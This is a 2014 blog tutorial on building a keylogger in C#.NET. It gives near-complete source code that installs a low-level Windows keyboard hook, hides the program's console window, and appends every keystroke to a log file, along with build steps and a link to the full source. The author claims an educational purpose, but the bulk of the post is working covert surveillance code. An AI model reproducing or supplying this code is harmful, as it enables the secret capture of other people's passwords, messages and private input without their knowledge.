Monday, January 20, 2014

Make your own Keylogger using C#.NET

What is a keylogger ?

Its an application program which is used to get the all entered key from ones keyboard. usually it uses for the hacking purposes.

According to Webopedia :
A keylogger is a type of surveillance software (considered to be either software or spyware) that has the capability to record every keystroke you make to a log file, usually encrypted. A keylogger recorder can record instant messages, e-mail, and any information you type at any time using your keyboard. 
Here I will show this not to hack somebodies computers but to know the process.

So lets start to make our own keylogger.


First start a Console Application in your visual Studio.

Now add namespace
  • using System.Diagnostics;
  • using System.Windows.Forms;
  • using System.Runtime.InteropServices;
  • using System.IO;
Now add some private global variables

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;

Now in the Main()

var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);  // to hide the running application
_hookID = SetHook(_proc);

Application.Run();
UnhookWindowsHookEx(_hookID);

Now add these code outside Main()

private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
            GetModuleHandle(curModule.ModuleName), 0);
      }
 }

 private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

 private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
 {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
              int vkCode = Marshal.ReadInt32(lParam);
              Console.WriteLine((Keys)vkCode);
              /*for this create a folder named "abc" in C dirve*/
              StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
              //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
              sw.Write((Keys)vkCode);
              sw.Close();
          }
          return CallNextHookEx(_hookID, nCode, wParam, lParam);
  }

Now add some DLLs

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
 

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
 

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]

static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

and at the end make the SW_HIDE 0

const int SW_HIDE = 0;

Now after doing all these you will get an error in using System.Windows.Forms;.
To avoid this error you have to add a reference of Windows.Forms.

How to do that?
Right click on the project name in Solution Explorer. And click on the Add Reference.

Now on the .NET tab choose the System.Windows.Form

And click on the OK button. Now if you check in the Reference of the Solution Explorer  you will get that the a reference has been added.


Now Build(Press F6) and check is there any error or not. As per the code there should not any error present. So run the program.

If you run the code with Application.StartupPath then check the log file in bin -> debug folder. And you also get the .EXE under that folder. So enjoy...

Download the full source code here.


3 comments:

Popular Posts

Pageviews